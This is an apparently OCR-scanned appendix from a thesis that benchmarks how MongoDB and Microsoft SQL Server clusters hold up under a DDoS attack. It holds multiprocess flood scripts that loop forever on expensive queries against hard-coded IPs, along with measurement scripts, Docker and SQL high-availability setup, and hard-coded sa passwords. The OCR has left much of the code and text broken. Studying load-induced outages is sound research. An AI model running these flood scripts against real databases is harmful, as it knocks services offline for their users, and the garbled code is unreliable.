def expensive_queries(attack_ip, i):
#print (socket.gethostbyname (socket.gethostname()))



A. Attack code

client = MongoClient(attack_ip)
db = client.bms

print ("Attacking: " + attack_ip)
Mongo.name = i.__str__Q

while True:
try:
Mongo . expensive_query_1(db)
Mongo . expensive_query_2(db)
Mongo . expensive_query_3(db)
except Exception as e:
print(e)

Ostaticmethod
def expensive_query_1(db):
query_filter = {"BatteryLevel": {"$gt": 5}}
sort = "Id"
count = db.AwarenessLogEntry.count_documents(query_filter)
r = db.AwarenessLogEntry.find(query_filter) .sort(sort)'

Ostaticmethod

def expensive_query_2(db):
query_filter = {"LatestActivityTime": {"$gt": '22:16.0'}}
sort = "DeviceKey"
count = db.AwarenessLogEntry.count_documents(query_filter)
r = db.AwarenessLogEntry.find(query_filter).sort(sort)

Ostaticmethod
def expensive_query_3(db):
query_filter = {"DeviceKey": {'$regex': 'X'}}
sort = "WorkshiftId"
count = db.AwarenessLogEntry.count_documents(query_filter)
r = db.AwarenessLogEntry.find(query_filter).sort(sort)

O@staticmethod
def sleep_until_minute(minute):
if minute ==
return
print("Sleeping")
t = datetime.datetime.today()
future = datetime.datetime(t.year, t.month, t.day, t.hour, minute)
if t.minute >= minute:
future += datetime.timedelta(hours=1)
time.sleep((future - t).total_seconds())
print ("DONE Sleeping")

IT



A. Attack code

if

@staticmethod

def print_log(text):
logs_file_writer = open("logs.txt", "a")
logs_file_writer.write(text + "\n")
logs_file_writer.close()

__name__ == '_main__':

numArgs = len(sys.argv)
print (numArgs)
print('Argument List:', str(sys.argv))

if numArgs >= 4:
minutes = int(sys.argv[3])
else:

minutes = 0
if numArgs >= 3:
threads = int(sys.argv[2])
else:
threads = 0
if numArgs >= 2:
ip = sys.argv[1]
else:
ip = "130.238.28.207:30001"

Mongo.sleep_until_minute (minutes)

Mongo.attack(ip, threads)
print("Done")

import pyodbc as db

import sys

from multiprocessing import Pool
import multiprocessing as mp
import time

import datetime

import random

class Mssql:

0
time.time ()

request_counter
last_print_time
name = IIO!I

threads = mp.cpu_count() - 1

Ostaticmethod
def connect(ip, driver):

ITT



A. Attack code

print ("Connecting...")

return db.connect('Driver={' + driver + 'I};'
'Server='+ ip +';'
'Database=GuardTools-Develop;"'
'UID=sa;"'
'PWD=MssqlPass123;"')

Ostaticmethod
def attack(ip, driver, threads):
print ("Number of threads: " + threads._ _str__())
if threads < 1:
Mssql.expensive_queries(ip, driver)
return
pool = Pool(threads)
for i in range(threads):
pool.apply_async(Mssql.expensive_queries,
args=(ip, driver))
pool.close()
pool.join()

Ostaticmethod
def expensive_queries(ip, driver):
connection = Mssql.connect(ip, driver)
print ("Connected to " + ip)
print("Attacking forever ")
while True:
try:
Mssql.expensive_query_1(connection)
Mssql.expensive_query_2(connection)
Mssql.expensive_query_3(connection)
except Exception as e:
print(e)

Ostaticmethod
def expensive query_1(connection):
cursor = connection.cursor ()
battery_level = random.randint(0, 50).__str__()
cursor.execute ("SELECT * FROM"
" [GuardTools-Develop] . [dbo] . [AwarenessLogEntry]"
" WHERE [BatteryLevell > " + battery_level +
" ORDER BY [Id]")

return cursor

Ostaticmethod
def expensive_query_2(connection):
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cursor = connection.cursor()

cursor.execute('SELECT * FROM'
' [GuardTools-Develop] . [dbo] . [AwarenessLogEntry] '\
' WHERE [LatestActivityTime] > \'1990-10-10\"'"\
' ORDER BY [DeviceKey]')

return cursor

Ostaticmethod
def expensive_query_3(connection):
cursor = connection.cursor ()
cursor.execute('SELECT * FROM '
' [GuardTools-Develop] . [dbo] . [AwarenessLogEntry] '\
'"WHERE [DeviceKey] LIKE \'7X%\' '\
'ORDER BY [WorkshiftId]')
return cursor

O@staticmethod
def iterate cursor(cursor):
for row in cursor:
X = row
break

O@staticmethod
def sleep_until minute(minute):
if minute ==
return
print("Sleeping")
t = datetime.datetime.today()
future = datetime.datetime(t.year, t.month, t.day, t.hour, minute)
if t.minute >= minute:
future += datetime.timedelta(hours=1)
time.sleep((future - t).total_seconds())
print ("DONE Sleeping")

if __name__ == '__main__
numArgs = len(sys.argv)
print (numArgs)
print('Argument List:', str(sys.argv))

if numArgs >= 5:

minutes = int(sys.argv[4])
else:

minutes = 0O
if numArgs >= 4:

threads = int(sys.argv[3])
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else:
threads = 0
if numArgs >= 3:
ip = sys.argv[1]
driver = sys.argv[2]
else:
ip = "130.238.28.87, 2500"
driver = 'SQL Server'

print("Ip: " + ip)

print("Driver: " + driver)
print ("Threads: " + threads. str__())
print("Minutes: " + minutes.__str__())

sql = Mssql(Q)
Mssql.sleep_until minute(minutes)
Mssql.attack(ip, driver, threads)
print("Done")
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Measurement code

Here the scripts used to measure the response times of the databases under attack
are provided.

The first script is the one used to measure response times of the MongoDB cluster
and the second is for the Microsoft SQL Server. Both will measure response times
and write the results to csv files.

from pymongo import MongoClient
import sys

from multiprocessing import Process
import time

import uuid

import datetime

class MongoMeasure:

isRunning = False

heartBeatDelay = 1

heartBeatTimeout = 2

ips = ["130.238.28.130:30001"]

timesFileNames = ["test_results/mongo/data_weak/small/mongo_times_index.csv"]

O@staticmethod
def reset():
for name in MongoMeasure.timesFileNames:
MongoMeasure.reset_file(name)

O@staticmethod

def reset_file(name):
times_file_writer = open(name, "w")
times_file writer.write("sent,received,code, diff\n")
times file writer.close()

@staticmethod
def start(startTime):
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while True:
for i in range(len(MongoMeasure.ips)):
p = Process(target=MongoMeasure.send_mongo_request,
args=[i, startTime])
p.-start(Q

time.sleep(MongoMeasure.heartBeatDelay)

O@staticmethod
def send_mongo_request(index, startTime):
request_time = MongoMeasure.get_current_time() - startTime
try:
client = MongoClient(MongoMeasure.ips[index])
db = client.bms

MongoMeasure.simple_query(db)
received_time = MongoMeasure.get_current_time() - startTime
status_code = 200
diff = (received_time - request_time)
except Exception as e:
print (e)
status_code = 408
received_time = "TIMEOUT"

diff = "inf"

result = request_time.__str__() + "," + received_time.__str__() +
"," + status_code.__str__ () + "," \
+ diff. _str__ () + "\n"

print(result)

times_file_writer = open(MongoMeasure.timesFileNames[index], "a")
times_file writer.write(result)
times file writer.close()

O@staticmethod
def get_current_time():
return time.time()

O@staticmethod
def simple_query(db):
guid = uuid.uuid4 () .__str__Q)
r = db.AwarenessLogEntry.find(
{"Id": guid}
#{"BatteryLevel": 25}
)
for i in range(r.count()):

r[i]

@staticmethod
def sleep_until_minute(minute):
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if minute ==
return
print("Sleeping")
t = datetime.datetime.today()
future = datetime.datetime(t.year, t.month, t.day, t.hour, minute)
if t.minute >= minute:
future += datetime.timedelta(hours=1)
time.sleep((future - t).total_seconds() - 1)
print ("DONE Sleeping")

if __name__ == '__main
print (len(sys.argv))
print('Argument List:', str(sys.argv))

ip = sys.argv[1]

MongoMeasure.reset ()
MongoMeasure.sleep_until_minute(14)
startTime = time.time()
MongoMeasure.start (startTime)

print ("Done")

import pyodbc as db

from multiprocessing import Process
import time

import uuid

import datetime

import random

class MssqlMeasure:
isRunning = False
heartBeatDelay = 1
heartBeatTimeout = 2
ips = ["130.238.28.130, 2500"]
timesFileNames = ["test_results/sql/data/large/sqll_times_2.csv"]

Ostaticmethod
def reset():
for name in MssqlMeasure.timesFileNames:
MssglMeasure.reset_file(name)

O@staticmethod

def reset_file(name):
times_file_writer = open(name, "w"
times file writer.write("sent,received,code, diff\n")
times_file_writer.close()

@staticmethod

IX



B. Measurement code

def start(startTime):
print ("Started")
while True:
for i in range(len(MssqlMeasure.ips)):
p = Process(target=MssqlMeasure.send_mssql_request,
args=[i, startTime])
p-startQ

time.sleep(MssqlMeasure.heartBeatDelay)

O@staticmethod
def send_mssql_request(index, startTime):
request_time = MssqlMeasure.get_current_time() - startTime

try:
connection = db.connect('Driver={SQL Server};'
'Server=' + MssqlMeasure.ips[index] +

LI |
’

'Database=GuardTools-Develop;"
'UID=sa;"
'PWD=MssqlPass123; ')

MssqlMeasure.simple_query(connection)
received_time = MssqlMeasure.get_current_time() - startTime
status_code = 200
diff = (received_time - request_time)
except Exception as e:
print(e)
status_code = 408
received_time = "TIMEOUT"

diff = "inf"
result = request_time.__str__() + "," + received_time.__str__() +
"," + status_code._ _str__() + "," \
+ diff. _str__ () + "\n"
print (result)

times_file_writer = open(MssqlMeasure.timesFileNames[index], "a")
times_file writer.write(result)
times_file_writer.close()

@staticmethod
def get_current_time():
return time.time()

@staticmethod
def simple_query(connection):
guid = uuid.uuid4 () .__str__Q)
query = "SELECT * FROM
[GuardTools-Develop] . [dbo] . [AwarenessLogEntry] WHERE [Id] =
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\ln + guid + n\vn
cursor = connection.cursor()
cursor.execute(query)
return cursor

O@staticmethod
def sleep_until_minute(minute):
if minute ==
return
print("Sleeping")
t = datetime.datetime.today()
future = datetime.datetime(t.year, t.month, t.day, t.hour, minute)
if t.minute >= minute:
future += datetime.timedelta(hours=1)
time.sleep((future - t).total_seconds() - 1)
print ("DONE Sleeping")

if __name__ == '_main__':
MssqlMeasure.reset ()
MssqlMeasure.sleep_until_minute(11)
startTime = time.time()
MssqlMeasure.start(startTime)
print("Done")
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Docker compose code

Below are the docker compose files used to run the databases on SSC.

##### mongo—compose.yaml #####H
services:
nodel:
image: "mongo:latest"
hostname: nodel

deploy:
replicas: 1
placement:
max_replicas_per_node: 1
ports:
- 30001:27017
- 7011:7011
networks:
- mongo
entrypoint: [ "mongod", "--bind_ip_all", "--replSet", "rsO0" ]
node2:

image: "mongo:latest"
hostname: node2

deploy:
replicas: 1
placement:
max_replicas_per_node: 1
ports:
- 30002:27017
- 7012:7012
networks:
- mongo
entrypoint: [ "mongod", "--bind_ip_all", "--replSet", "rs0" ]
networks:
mongo:

driver: overlay
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sql-compose.yaml

version: "3.8"
services:
dbil:
image: "jeibniz/sql:ha"
environment:
SA_PASSWORD: "MssqlPass123"
ACCEPT_EULA: "Y"
MSSQL_AGENT_ENABLED: "true"
INIT_SCRIPT: "aoag_primary.sql"
INIT_WAIT: 30
ports:
- "2500:1433"
container_name: dbl
hostname: dbl
volumes:
- mssql-server-shared:/var/opt/mssql/shared
- mssql-server-backup:/var/opt/mssql/backup

networks:

- sqlaoag
db2:

image: "sql:ha"

environment:
SA_PASSWORD: "MssqlPass123"
ACCEPT_EULA: "Y"
MSSQL_AGENT_ENABLED: "true"
INIT_SCRIPT: "aoag_secondary.sql"
INIT_WAIT: 90

ports:
- "2700:1433"

container_name: db2

hostname: db2

volumes:
- mssql-server-shared:/var/opt/mssql/shared
- mssql-server-backup:/var/opt/mssql/backup

networks:
- sqlaoag

volumes:

mssql-server-shared:

mssql-server-backup:
networks:

sqlaoag:
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Microsoft SQL Server High
Availability image

Below are the code in the files required to create the Docker image used for seting
up Microsoft SLQ server instances with a high availability group inspiered by [42].

##### Dockerfile #####

FROM mcr.microsoft.com/mssql/rhel/server:2019-CU12-ubuntu-20.04
COPY . /

USER root

RUN chmod +x db-init.sh

RUN /opt/mssql/bin/mssql-conf set sqlagent.enabled true

RUN /opt/mssql/bin/mssql-conf set hadr.hadrenabled 1

RUN /opt/mssql/bin/mssql-conf set memory.memorylimitmb 2048

CMD /bin/bash ./entrypoint.sh

##### entrypoin. sh #####

/opt/mssql/bin/mssql-conf set filelocation.defaultbackupdir \
/var/opt/mssql/backup &

sh ./db-init.sh &

/opt/mssql/bin/sqlservr

# init.sh

#wait for the SUL Server start
SLEEP_TIME=$INIT_WAIT
SQL_SCRIPT=$INIT_SCRIPT

echo "sleeping for ${SLEEP_TIME} seconds ..."
sleep ${SLEEP_TIME}

echo " -————————- running set up script ${SQL_SCRIPT} --------- "
if [ "$SQL_SCRIPT" = "ha_primary.sql" ]
then

rm /var/opt/mssql/shared/ha_certificate.key 2> /dev/null
rm /var/opt/mssql/shared/ha_certificate.cert 2> /dev/null
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fi

#use the SA password from the environment wvartiable
/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P $SA_PASSWORD \
-d master -i $SQL_SCRIPT

echo "####H#H#H# HA script execution completed HHuHHH"

————— ha_primary.sql ————-
--create a Guardtools database
USE [master]
GO
CREATE DATABASE GUARDTOOLS
GO
USE [GUARDTOOLS]
GO
CREATE TABLE TEST([ID] [int] NOT NULL, [VALUE] [decimal] NOT NULL)
GO
INSERT INTO CUSTOMER (ID, VALUE) VALUES (1,100),(2,200),(3,300)
—-- Create backup to enable HA
ALTER DATABASE [GUARDTOOLS] SET RECOVERY FULL ;
GO
BACKUP DATABASE [GUARDTOOLS] TO
DISK = N'/var/opt/mssql/backup/guardtools.bak' WITH NOFORMAT, NOINIT,
NAME = N'GUARDTOOLS-Full Database Backup', SKIP, NOREWIND, NOUNLOAD,
STATS = 10
GO
USE [master]
GO
--create logins for ha
SQLCMD
CREATE LOGIN ha_login WITH PASSWORD = 'Pa$$wOrd’;
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'Pa$$wOrd';
GO
CREATE CERTIFICATE ha_certificate WITH SUBJECT = 'ha_certificate';
BACKUP CERTIFICATE ha_certificate
TO FILE = '/var/opt/mssql/shared/ha_certificate.cert'
WITH PRIVATE KEY (
FILE = '/var/opt/mssql/shared/ha_certificate.key',
ENCRYPTION BY PASSWORD = 'Pa$$wOrd’
)
GO
-- create HADR endpoint on port 5022
CREATE ENDPOINT [Hadr_endpoint]
STATE=STARTED
AS TCP (
LISTENER_PORT = 5022,
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LISTENER_IP = ALL
)
FOR DATA_MIRRORING (
ROLE = ALL,
AUTHENTICATION = CERTIFICATE ha_certificate,
ENCRYPTION = REQUIRED ALGORITHM AES
)
GRANT CONNECT ON ENDPOINT::Hadr_endpoint TO [ha_login];
GO

DECLARE @cmd AS NVARCHAR (MAX)
SET @cmd ='
CREATE AVAILABILITY GROUP [AG1]
WITH (
CLUSTER_TYPE = NONE
)
FOR REPLICA ON
N''<SQLInstanceName>'' WITH
(
ENDPOINT URL = N''tcp://<SQLInstanceName>:5022'"',
AVATLABILITY MODE = SYNCHRONOUS COMMIT,
SEEDING _MODE = AUTOMATIC,
FAILOVER_MODE = MANUAL,
SECONDARY ROLE (ALLOW_CONNECTIONS = ALL)
),
N''db2'' WITH
(
ENDPOINT URL = N''tcp://db2:5022'"',
AVATLABILITY MODE = SYNCHRONOUS COMMIT,
SEEDING_MODE = AUTOMATIC,
FATILOVER_MODE = MANUAL,
SECONDARY ROLE (ALLOW_CONNECTIONS = ALL)
),
N''db3'' WITH
(
ENDPOINT URL = N''tcp://db3:5022'",
AVATLABILITY MODE = SYNCHRONOUS COMMIT,
SEEDING _MODE = AUTOMATIC,
FAILOVER _MODE = MANUAL,
SECONDARY ROLE (ALLOW_CONNECTIONS = ALL)
);

.
b

--replace local server name into the script above
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DECLARE Qcreate_ag AS nvarchar (max)

SELECT Qcreate_ag = REPLACE(@cmd, '<SQLInstanceName>',6 @O@SERVERNAME)
--execute creation of availability group

exec sp_executesql Qcreate_ag

--wait a bit and add database to AG

USE [master]

GO

WAITFOR DELAY '00:00:10'

ALTER AVAILABILITY GROUP [AG1] ADD DATABASE [SALES]

GO

————— ha_secondary.sql ————-
USE [master]
GO
CREATE LOGIN ha_login WITH PASSWORD = 'Pa$$wOrd';
CREATE USER ha_user FOR LOGIN ha_login;
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'Pa$$wOrd';
GO
SQLCMD
CREATE CERTIFICATE ha_certificate
AUTHORIZATION ha_user
FROM FILE = '/var/opt/mssql/shared/ha_certificate.cert'
WITH PRIVATE KEY (
FILE = '/var/opt/mssql/shared/ha_certificate.key',
DECRYPTION BY PASSWORD = 'Pa$$wOrd’
)
GO
--create HADR endpoint
CREATE ENDPOINT [Hadr_endpoint]
STATE=STARTED
AS TCP (
LISTENER_PORT = 5022,
LISTENER_IP = ALL
)
FOR DATA_MIRRORING (
ROLE = ALL,
AUTHENTICATION = CERTIFICATE ha_certificate,
ENCRYPTION = REQUIRED ALGORITHM AES
)
GRANT CONNECT ON ENDPOINT::Hadr_endpoint TO [ha_login];
GO
-—add current node to the availability group
ALTER AVAILABILITY GROUP [AG1] JOIN WITH (CLUSTER_TYPE = NONE)
ALTER AVAILABILITY GROUP [AG1] GRANT CREATE ANY DATABASE
GO
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Data generation code

Below are the code used to duplicate Guardtools data into different data sizes.

import csv
import uuid
import pyodbc as db

file_base = "awarnessLogEntryData.csv"
file_medium = "awarnessLogEntryDatalb.csv"
file_large = "awarnessLogEntryData30.csv"

def generate_csv(file_name, size):
reset file(file name)

is_first_iteration = True
file writer = open(file_name, "a")
for i in range(size):
if i % 100 == 0:
print (i)
with open(file base) as base_file:
is_first_row = True
reader = csv.reader(base _file, delimiter=',"')
for row in reader:
if is first iteration:
file_writer.write(','.join(row) + "\n")
is first iteration = False
is_first_row = False
elif is first _row:
# Skip header row
is first row = False
else:
row[0] = uwuid.uuidd()._ _str__ QO
result = ','.join(row) + "\n"
file writer.write(result)
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def reset_file(name):
times_file writer = open(name,
times file writer.close()

def generate_large():
generate_csv(file_large, 30)

def insert medium():
generate_csv(15)

if __name__ == '_main__':
generate_medium()
generate_large()

”W")
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Setup commands

In this appendix the commands used to setup the tests for this project are explained
in depth.

F.1 Hyper-V setup

To enable Docker to run on the machine described in section 3.5 the server has to
allow the creation of virtual machines. This can be done by running the Powershell
command below. Note that these steps are not required to host Docker containers
on Ubuntu setups.

EN Select Windows PowerShell - O *

Microsoft-Hyper-V

Figure F.1: The Powershell command that enables Hyper-V

Normally this is enough. However, in this project, the Hyper-V virtual machines will
not be created directly on the host machine but rather on a virtual machine running
on the host. This creates one more layer of complexity since a virtual machine will
create more virtual machines itself. To make this possible in Hyper-V the virtual
machine that will host the docker containers will have the setting "Enable nested
virtualization" set to true. This can be set in the Hyper-V settings on the server
hosting the virtual machine that will host the docker containers.

F.2 Docker setup

For Windows hosts, once Hyper-V is properly set up it is not much work to set up
Docker as well. The three lines of Powershell commands below will install Docker
and restart the computer to make the changes go through.
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Install-Module -Name DockerMsftProvider -Repository PSGallery -Force
Install-Package -Name docker -ProviderName DockerMsftProvider
Restart-Computer -Force

However, Docker is by default only able to launch Linux containers. While the Mi-
crosoft SQL database will run on Linux the MongoDB cluster will not. Therefore
it will be required to host both Linux and Windows containers. Since Docker does
not support hosting Linux and Windows containers simultaneously, the tests will
have to switch between running Docker to host ether Linux or Windows containers.
This can be done in two ways. The first is to run the commands below which sets
the LCOW, Linux Containers On Windows, environment variable to either 1 or 0
and then restarts Docker. Setting 1 will enable Linux containers while 0 will enable
Windows containers. The second way is to by right-clicking on the docker icon on
the windows toolbar and choosing "Switch to Linux/Windows containers...".

[Environment] : :SetEnvironmentVariable ("LCOW_SUPPORTED", "O", °
"Machine")
Restart-Service Docker

One last step that makes the rest of the work more manageable is installing the
Docker for Windows client. This makes it easier to visualize the current state of
Docker containers, images, and volumes and makes it easier to create and remove
them. The install file can at the time of writing be found at [12].

Setting up Docker on Ubuntu is done running the following commands:

sudo apt-get update
sudo apt-get install \

ca-certificates \

curl \

gnupg \

lsb-release
curl -fsSL https://download.docker.com/linux/ubuntu/gpg \
| sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo \
"deb [arch=$(dpkg --print-architecture)
signed-by=/usr/share/keyrings/docker-archive-keyring.gpg]
https://download.docker.com/linux/ubuntu \
$(1lsb_release -cs) stable" \
| sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
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F.3 Docker swarm setup

Since we will run all Docker containers from the same virtual machine the Docker
swarm setup will be simpler than in the usual use case when managers and work-
nodes have to be set up and connected. To set it up on this single node all that is
needed is to run the following docker command.

docker swarm init

After this is done the docker stack deploy command can be used to orchestrate
containers, and the docker service commands can be used to manage them.

F.4 Extract Guardtools data

The data used was extracted from one of Guardtools’ backup databases which were
using Microsoft SQL studio. To extract data for the Microsoft SQL Server container
the backup database function Microsoft SQL Server Management Studio was used.
This stores an entire database in a backup file that can be read by another instance
of a Microsoft SQL Server. The figure below shows how the file is generated.

Object Explorer
Connect- ¥ "§ ¢ o~

§ Sack Up Database - GuardTools- Develop - o x

Selectapage O st ~ @ Heb

5 Backup Optins Source
Database: GuardTods Develop
Recovery model: FULL

Backup e al

O Copy-only backup.

Script Database as Backup component.

Tasks » Detach. @© Database.

O Fies and fiegroups:

Policies > Take Offline

Facets Bring Online

Start PowerShell Stretch »

Azure Data Studi
ure bt Studie ' Encrypt Columns...

Data Discovery and Classification »
Rename Vulnerabilty Assessment »

Shrink v

Back Up

Restore 3

Mirror.
Launch Database Mirroring Monitor...

s iy =

Figure F.2: The steps of generating a backup in Microsoft SQL Server Management
Studio.

However, this backup can not be used by the MongoDB cluster. The data that
the cluster will use was therefore extracted using the result of a query selecting all
entries in the requested table. This was done by using the feature in Microsoft SQL
Server Management Studio that lets the user copy the query result in CSV format
as shown in figure F.3.
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J¥*¥*¥** cepipt for SelectTopNRows command from SSMS ****+*/
SELECT * FROM [GuardTools-Develop].[dbo].[AwarenessActivity]

100% -
EE Resuts [ Messages

i Tevicekey Create
4 I Copy Ctrl+C 2020-
Al Copy with Headers Ctrl+Shift+C 020
4 % Select All Ctrl+ A 20214
4 20204

Sawve Results As...

4] 2020-
2 B Page Setup... 20204
af = Print.. Crl+P - o021

EN MAFDEITA DOON AMOC AADD EFDNOCDRECTON WA VBE A M A R e, W

Figure F.3: Copying query results in CSV format

For the test cases when more data is required then what is present in Guardtools
database the original data has been duplicated. The duplication has been done by a
Pyhton script present in the Appendix. The script will duplicate entities by copying
all values except for the ID which will be generated.

F.5 Microsoft SQL server setup

For the tests run on the single server, one Microsoft SQL server instance was used.
While the tests on SSC used two instances connected using an availability group.
This made the process of setting up the systems distinct enough to make it hard to
describe the process of setting them up together. It has therefore been divided into
the two section below.

F.5.1 Single server setup

This database will run on a Linux docker container since Microsoft only provides
Microsoft SQL Server docker images for Linux. The image used was
mer.microsoft.com/mssql/server:2019-CU12-ubuntu-20.04 [24]. To run the image
the following command was used.

docker run °

--memory="2g" °

-c 300 °

--memory-swap="0b" °

-e "ACCEPT_EULA=Y" -e "SA_PASSWORD=P@ssword12345" °
-p 1433:1433 °

--name sql2 -h sql2 °
mcr.microsoft.com/mssql/server:2019-CU12-ubuntu-20.04

This creates a container from the image mer.microsoft.com/mssql/server:2019-CU12-
ubuntu-20.04, gives it 2GB in memory, 50 cpu-shares and memory swapping is dis-
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abled. It sets two environment variables, one that accepts license agreement and one
that sets the password of the sa user. Lastly, it maps the 1433 port of the container
to the 1433 port of the host virtual machine. This makes it possible to access the
database by sending requests to this port of the host machine.

The data was imported using Microsoft SQL Server Management Studios restore
feature using the backup file generated in section F.4. However, the backup file
has to be placed inside the container for Microsoft SQL Server Management Stu-
dio to access it. This can be done by using the docker cp command, as shown below.

docker cp "C:\Temp\GTDev.bak" sql2:/home/

This will place the file "C:\Temp\GTDev.bak" in the /home/ directory of the sql2
container hosting the Microsoft SQL Server database.

Once this is done, a Microsoft SQL Server Management Studio instance can connect
to the database for any computer that can access the same network as the container.
Then the database restore can be done as shown in figure F.4

Object Explorer v B x

Connect~ ¥ " = ¥ ¢ »
= W) 192.168.0.105, 1433 (SQL Server 15.0.4153.1 - 52)
i New Database...
®
] Attach...
=] Restore Database...
N Restore Files and Filegroups..
= Timel
@ Filter s -
i Deploy D. Appli
Kl eploy Data-tier Application... - —
[ Impert Data-tier Application... ook Deve
Start PowerShell
Reports 3
Refrech

Ve Backup Meda

oK Cancel

Figure F.4: The steps of restore a database from a backup file in Microsoft SQL
Server Management Studio.

F.5.2 SNIC Science Cluster setup

To automate the process of setting up the database a custom Docker image was
created. This image will be based on the same image as the one used above in
section F.5.1. The image will change two configuration values of the Microsoft SQL
server to enable availability groups. It will also run a setup script that will run SQL
queries to connect containers of this image in availability groups. The image and
associated scripts are available in the Appendix.

To setup the database instances Docker swarm was used. The same settings as for
the single server setup have been used and will therefore not be covered in detail here.
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The complete compose file is available with the code for the image in the Appendix.
One step worth noting about running the custom image on Docker swarm is that
all swarm nodes have to have the image locally, this can be time-consuming and
cause unintended errors. To make the process of keeping all nodes up to date with
the latest version of the image, it was posted to Dockerhub, where all nodes could
access it.

Inserting data into the database was done using the same steps as for the single
server setup, but now only on the primary node. The data is then propagated to
the secondary node through the availability group connection.

F.6 MongoDB setup

For the single server test the MongoDB database was set up with three nodes which
is a common number for a generic MongoDB database [37]. For the tests on the
SNIC Science Cluster two nodes were used to match the constraint on the Microsoft
SQL Server. In both cases all nodes were part of the same replica set making
them share the same data. For the single server tests the docker containers hosting
each node were chosen to be run using Windows images to better fit the Windows
operation system of the host machine.

F.6.1 Setup MongoDB containers

Setting up the desired cluster can be done with or without Docker swarm. For
simplicity, the setup was done with only docker commands for the single server tests
while Docker swarm was used for the SNIC Science Cluster tests.

The text below will describe how the setup was done on the single server environ-
ment. The setup done using Docker swarm is analogous and will not be discussed
in detail here. The Docker compose file is however present in the Appendix.

The first setup step is to create a docker network for the MongoDB cluster is needed.
This is done by the following docker command.

docker network create --driver nat mongo-cluster

The next step is to get the Docker image that each node will use. The setup was
done with the image mongo:windowsservercore [34]. This can be downloaded and
named mongo by running the following.

docker pull mongo:windowsservercore —-name mongo

Using this the three docker containers can be created and started with the following
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command.

docker run °
-p 30001:27017 °
--name mongol °
--net mongo-cluster
-c 100 ~©
--memory-swap="0b" °
mongo mongod --bind_ip_all --replSet my-mongo-set

~

docker run °
-p 30002:27017 °
--name mongo2 °
--net mongo-cluster ~
-c 100 ~
—--memory-swap="0b" °
mongo mongod —-bind_ip_all --replSet my-mongo-set

docker run
-p 30003:27017 °
--name mongo3
--net mongo-cluster
-c¢ 100 ~
--memory-swap="0b" °
mongo mongod --bind_ip_all --replSet my-mongo-set

~

This creates three containers called mongol, mongo2 and mongo3. Each is connected
to the mongo-cluster network created above. The 27017 port of the containers has
been bound to 30001, 30002 and 30003 of the hosting virtual machine allowing us to
connect to the nodes through these ports. Each container is given 100 CPU shares
and memory-swapping is disabled. Finally, the containers are specified to start up
running the mongod command with two parameters. The bind_ip all parameter
specifies that all ports of the container should be connected to the database running
on that container. The replSet is used to specify that each MongoDB instance should
be connected to the same replica set, my-mongo-set.

To ensure that all containers are running as intended two checks can be done. First,
the docker ps command can be run to make sure that the containers are running.
This also shows that the containers are connected to the intended ports.

The next check is to ensure that the containers can be accessed from outside of the
host machine. This can be done by pinging the containers through the specified ports
from a machine on the same network as the host machine. This can be done by the
Powershell command Test-NetConnection -ComputerName 192.168.10.106
-Port 30001 which should say that the TCP connection was successful. In the
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command above 192.168.10.106 is the IP address to the host machine on the shared
network, the -Port 30001 argument will specify that we connect to the container
named mongol.

F.6.2 Initiate replica set

The next step is to start up each container and connect them using the replica set my-
mongo-set. The replica set will be set up such that the monogl container will be the
primary node while the mongo2 and mongo3 containers will be secondary. However,
the cluster will change this automatically if the primary nodes stop responding for
a period of time. To set up this, each node has to be connected to and configured.

To initiate the replica set the IP of the node that will initiate the set has to be
known. The MongoDB nodes are connected to the Docker network mongo-cluster
and will use it to communicate. Therefore it is the nodes’ IP address on this net-
work that we need to find. One way to do this is to launch a Powershell instance
connected to the node to initiate the replica set using Docker. This is done with the
command

docker exec -it mongol powershell

Using Powershell the IP can easily be obtained by running the ipconfig command.

A simple way to connect to a MongoDB node is to use the MongoDB Shell which
can be downloaded following the instructions at [35]. Once set up the command
mongosh 192.168.10.106:30001 can be run to connect to the mongol node given
that the host machine can be reached on the IP 192.168.10.106.

If successful this will open the Mongo Shell where it can be specified that this is the
primary node of the replica set. Furthermore, it can specify the other nodes in the
replica set. The following MongoDB commands will accomplice this.

config = {
"_id" : "my-mongo-set",
"members" : [
{
"_id" : 0,
"host" : "172.29.201.139:27017"
I
{
"_id" : 1,
"host" : "172.29.196.111:27017"
+,
{
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"_id” : 2’
"host" : " 172.29.200.46:27017"

rs.initiate(config)

Here are the IP addresses the ones found using ipconfig above.

F.6.3 Insert GuardTools data

One easy way to import data into a MongoDB cluster is to use the mongoimport
tool. This can be set up using the instructions at [36]. With this setup and the
required data placed in a CSV file as shown in section F.4 the data can be inserted
into the cluster by running

mongoimport --host "192.168.10.106" --port "30001" °
--db "bms" --collection "AwarenessLogEntry" °
--file 'C:\Path\to\file\awarnessLogEntryData.csv'
--type csv —--headerline

This will connect to the node on 192.168.10.106:30001 and insert the data of the CSV
file into the collection AwarenessLogEntry in the bms database. The —headerline
option specifies that the CSV files first row contains the column names. Since the
three nodes are in the same replication set and the replication factor is set to 3,
which is the default, the inserted data will be propagated to all nodes.

To make sure that the setup works as intended, some test queries to the three nodes
were made. This can be done by using the MongoDB shell. Using the shell the
following code was run

bms = (new Mongo('192.168.0.100:30001"')) .getDB('bms"')
bms . AwarenessLogEntry. count ()

This fetches a reference to the bms database and queries the AwarenessLogEntry
collection. The two secondary nodes were tested analogously with the small addition
of the line db.getMongo().setReadPref(’secondary’) specifying that the bms
database should be accessed as a secondary reader.

bms = (new Mongo('192.168.0.100:30002"')) .getDB('bms"')
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bms . getMongo () . setReadPref ('secondary')
bms . AwarenessLogEntry. count ()

F.7 DDoS attack

As mentioned in section 3.6 the attack is performed by launching multiple docker
containers running Python scripts sending as many queries to the database under
test as possible. Since the two databases cannot be interacted with using the same
code two similar scripts have been created. Both scripts execute the same queries
but are translated to the query language that the target database can process.

F.7.1 Multiprocessing

Both scripts send requests on all available threads. This is made possible using the
Python package Multiprocessing. This is done by first counting the total number
of threads available to the script and then creating a Pool of the given amount of
threads. Then a function making requests to the database is called on each thread
in the pool. The essence of this is done in the following code snippet.

threads = multiprocessing.cpu_count() - 1
if threads < 1:
expensive _queries("")
return
pool = Pool(threads)
for i in range(threads):
pool.apply_async(Mongo.expensive_queries, args=(ip,))
pool.close()
pool.join()

The snippet subtracts the number of threads by one since the first thread is used
by the code running the snippet.

F.7.2 Microsoft SQL Server attack script

The script was created using the package Pyodbc. Using this a connection to a
